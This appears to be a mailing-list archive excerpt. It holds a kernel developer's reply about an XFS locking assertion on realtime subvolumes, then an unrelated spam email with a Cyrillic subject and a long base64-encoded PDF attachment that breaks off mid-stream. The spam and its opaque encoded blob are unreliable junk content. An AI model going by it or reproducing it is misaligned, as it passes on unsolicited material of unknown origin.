on realtime subvolume Message-ID: <20140210002204.GM13647@dastard> X-ASG-Orig-Subj: Re: XFS on 3.14.0-rc1 (x86): xfs_isilocked() assertion on realtime subvolume References: <52F815EE.3030600@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F815EE.3030600@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391991728 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144979 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sun, Feb 09, 2014 at 06:57:34PM -0500, Michael L. Semon wrote: > Hi! I was working with realtime subvolumes on a 3.14.0-rc1+ kernel, doing > something like this... > > mkfs.xfs -l logdev=$TEST_LOGDEV -r rtdev=$TEST_RTDEV $TEST_DEV > mount -t xfs -o logdev=$TEST_LOGDEV -o rtdev=$TEST_RTDEV $TEST_DEV $TEST_DIR > > cd $TEST_DIR > mkdir testrtdir > xfs_io -c 'chattr +t' testrtdir > cd testrtdir > dd if=/dev/zero of=testrtfile bs=512 count=65536 > > ...and was greeted by this: > > XFS: Assertion failed: xfs_isilocked(ip, XFS_ILOCK_SHARED|XFS_ILOCK_EXCL), file: fs/xfs/xfs_bmap.c, line: 4016 ..... > Call Trace: > [<7916e73c>] xfs_bmapi_read+0x89/0x39f > [<791b421d>] xfs_rtbuf_get+0x59/0x132 > [<791b4860>] xfs_rtmodify_summary+0x64/0xcb > [<791b2742>] xfs_rtallocate_range+0xb4/0x17b > [<791b2a26>] xfs_rtallocate_extent_exact+0xa4/0xe8 > [<791b2aee>] xfs_rtallocate_extent_near+0x84/0x317 > [<791b3be1>] xfs_rtallocate_extent+0x1e9/0x233 OK, so there's a check in xfs_rtallocate_extent like this: ASSERT(xfs_isilocked(mp->m_rbmip, XFS_ILOCK_EXCL)); Which means we definitely have the bitmap inode locked at this point, but we assert failed because we don't have the summary inode locked when we go to modify it. >From a production perspective, this won't matter as access is already serialised by the lock on the bitmap inode, but we should fix this for debug kernels. I suspect that this means we'll need yet another lockdep context for these inodes, becase we'll be nesting them in an order that doesn't match any of the other nested inode locking, too. Thanks for reporting the issue, Michael. > A bisect brought me here: > > root@plbearer:/usr/src/kernel-git/linux# git bisect good > eef334e5776c8ef547ada4cec17549929fe590b4 is the first bad commit > commit eef334e5776c8ef547ada4cec17549929fe590b4 > Author: Christoph Hellwig > Date: Fri Dec 6 12:30:17 2013 -0800 > > xfs: assert that we hold the ilock for extent map access > > Make sure that xfs_bmapi_read has the ilock held in some way, and that > xfs_bmapi_write, xfs_bmapi_delay, xfs_bunmapi and xfs_iread_extents are > called with the ilock held exclusively. > > Signed-off-by: Christoph Hellwig > Reviewed-by: Dave Chinner > Signed-off-by: Ben Myers Yup, this is the second "regression" that has been exposed by this patch. The first "regression" being a lockdep false positive, and the second being this one.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From anyagainova@guidedogs.com Sun Feb 9 19:22:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EFEA17F3F for ; Sun, 9 Feb 2014 19:22:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9CD7DAC001 for ; Sun, 9 Feb 2014 17:22:27 -0800 (PST) X-ASG-Debug-ID: 1391995343-04bdf0734c8e910001-NocioJ Received: from scp18.hosting.reg.ru (scp18.hosting.reg.ru [37.140.192.127]) by cuda.sgi.com with ESMTP id SOl9U4sNgcAOCC3E (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 09 Feb 2014 17:22:24 -0800 (PST) X-Barracuda-Envelope-From: anyagainova@guidedogs.com X-Barracuda-Apparent-Source-IP: 37.140.192.127 Received: from c-98-244-94-68.hsd1.va.comcast.net ([98.244.94.68]:56824 helo=Unknown) by scp18.hosting.reg.ru with esmtpa (Exim 4.80.1) (envelope-from ) id 1WCfZh-0008RE-W6; Mon, 10 Feb 2014 05:22:22 +0400 Message-ID: <260CA285339943DDA55340E92790B35C@pkfyku> Reply-To: =?windows-1251?B?w87Rx8DK08/KwA==?= From: =?windows-1251?B?w87Rx8DK08/KwA==?= To: , , , Subject: =?windows-1251?B?ze7i4Pbo6CDiIPH05fDlIOPu8efg6uDn4Cwg?= =?windows-1251?B?4uLu5Ojs++UgYyAyMDE0IOPu5OAg9OXk5fDg?= =?windows-1251?B?6/zt++wg5+Dq7u3u7CBOIDQ0LdTH?= Date: Mon, 10 Feb 2014 02:21:22 +0100 X-ASG-Orig-Subj: =?windows-1251?B?ze7i4Pbo6CDiIPH05fDlIOPu8efg6uDn4Cwg?= =?windows-1251?B?4uLu5Ojs++UgYyAyMDE0IOPu5OAg9OXk5fDg?= =?windows-1251?B?6/zt++wg5+Dq7u3u7CBOIDQ0LdTH?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0E24_01CF2606.CA3676E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - scp18.hosting.reg.ru X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - guidedogs.com X-Get-Message-Sender-Via: scp18.hosting.reg.ru: authenticated_id: selyanin@aticon-invest.ru X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: scp18.hosting.reg.ru[37.140.192.127] X-Barracuda-Start-Time: 1391995344 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144980 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0E24_01CF2606.CA3676E0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0E25_01CF2606.CA3676E0" ------=_NextPart_001_0E25_01CF2606.CA3676E0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=E9 =E7=E0=EA=E0=E7 =E2 2014 =E3= =EE=E4=F3 ------=_NextPart_001_0E25_01CF2606.CA3676E0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=E9 =E7=E0=EA=E0=E7 =E2 20= 14 =E3=EE=E4=F3
------=_NextPart_001_0E25_01CF2606.CA3676E0-- ------=_NextPart_000_0E24_01CF2606.CA3676E0 Content-Type: application/octet-stream; name="=?windows-1251?B?yu7t8vDu6/wg4iDx9OXw5SDn4Orz7+7qIOIg?= =?windows-1251?B?8ODs6uD1IOru7fLw4Ory7e7pIPHo8fLl7Psu?= =?windows-1251?B?cGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?yu7t8vDu6/wg4iDx9OXw5SDn4Orz7+7qIOIg?= =?windows-1251?B?8ODs6uD1IOru7fLw4Ory7e7pIPHo8fLl7Psu?= =?windows-1251?B?cGRm?=" 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 H44JDwuvCX8YYRNRENG/gLpgyYKWBa8ivSLLIu9EmURJonqjFaMTopujX8d4x5THSGOtYlfGXorT iBPEdcdj46Pjm+KnF/os3LlwPME+oTjh+iLjRXmLLizWWJy++PgSxSWcJUcS0YkxiS2J7zmhnAbO 9NKApbVLp7hs7i7uE54Hbwdvku/KL+dPJLkmlSc9SnZN3p48meKeUpHyVMAWVAuep/qn1qW+TgtN 25/2KT0mvT0Dl5GYcVRIEaYJ+zK1M/Myh7PMs4qzpMucl+1cNiUKEjVlQ9mLsrvFNNnP1IDERLJe MprjllOT8yY3OvdInnKeMG9gudnyTcsn8n3zv16BWsFd0VugW7C2YHSl58r6VdCqpat6V+uvLlo9 vsZvzYG1hLVpa38otC4sL3y5LmZdT5FW0ZqisfV+61uLFYpFxTc2uGyo24jaKNg4uGnupqpNH0t4 JRdLrUsrSt9v5m6++JXNV5VffdqStGWwzKFsz1bMVuHW69vctx0oVy7PLx/bHrK9cwdjR8mOlzuX 7LxQYVdRt4uwS7JLWhlc2V1lULW16n11SvVIjVdNe61m7aba17t5u6/s8djTVqdVV1r3bq9g7816 v/rOBqOGin2YfTn7HjZGN/Z/zfq6uUmjqbTpw37hfumBiAN9zY7NzS2aLWWtcKukdfJgwsHL33h/ 093GbKtvp7eXHgKHJIcef5v47fXDQYd7j7COtH1n+F1tB7WjpBPqXN451ZXSJe2O6x4+Gni0t8el p+N7y+/3H9M9VnNc5XjZCcKJohOfTuafnD6Vderp6eTTY71Leu+ciT1zrS+8b/Bs0Nnz53zPnen3 7D953vX8sQvOF45eZF3suuRwqXPAfqDjB/sfOgYdBjuHHIe6Lztd7hmeN3ziivuV01e9r567FnDt 0sj8keHrUddv3ki4Ib3Ju/noVvqt57dzbs/cWXMXfbfkntK9ivua9xt+NP2xXeogPT7qPTrwYMGD O2PcsSc/Zf/0frzoIflhxYTORPMj20fHJn0nLz9e+Hj8SdaTmafFPyv/XPvM5Nl3v3j8MjAVOzX+ XPT806+bX6i/2P/S7mXvdNj0/VcZr2Zel7xRf3PgLett/7uYdxMzue+x7ys/mH7o+Rj08e6njE+f fgP3hPP7CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9J bWFnZS9XaWR0aCAxMjQwL0hlaWdodCAxNzU0L0xlbmd0aCAxNTgxMTgvQ29sb3JTcGFjZVsvSUND QmFzZWQgMSAwIFJdL0RlY29kZVBhcm1zPDwvQml0c1BlckNvbXBvbmVudCA4L1ByZWRpY3RvciAx NS9Db2x1bW5zIDEyNDAvQ29sb3JzIDM+Pi9CaXRzUGVyQ29tcG9uZW50IDgvRmlsdGVyL0ZsYXRl RGVjb2RlPj5zdHJlYW0KeF7s3QtcFWX6B/BnECIEiQgiQog1iIgkM1lzTTNz9W+ma+ZqrllmppVr 2WU1ty3dalvd1tWsTDPL7pmVl7xm3u/iFe/iFUVFFBFBRC7zf8+8L+MwZ2bOHDgcAX/fj3t23mfe eWfOnAPNj5kzR5JlmQAAAAAAAAC8xUf8PwAAAAAAAIBXIIgCAAAAAACAVyGIAgAAAAAAgFchiAIA AAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFch iAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAA gFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAA AAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGI AgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACA VyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAA AACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgC AAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBX IYgCAAAAAACAVyGIAgAAAAAAgFchiAIAAAAAAIBXIYgCAAAAAACAVyGIAgAAAAAAgFchiALUKXcm 3SGmAAAAAABqKgRRgLrGIouyWUiqAAAAAHDFIYgC1DIIkwAAAABQ2yGIAtR6PJoioAIAAABAbSHJ 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 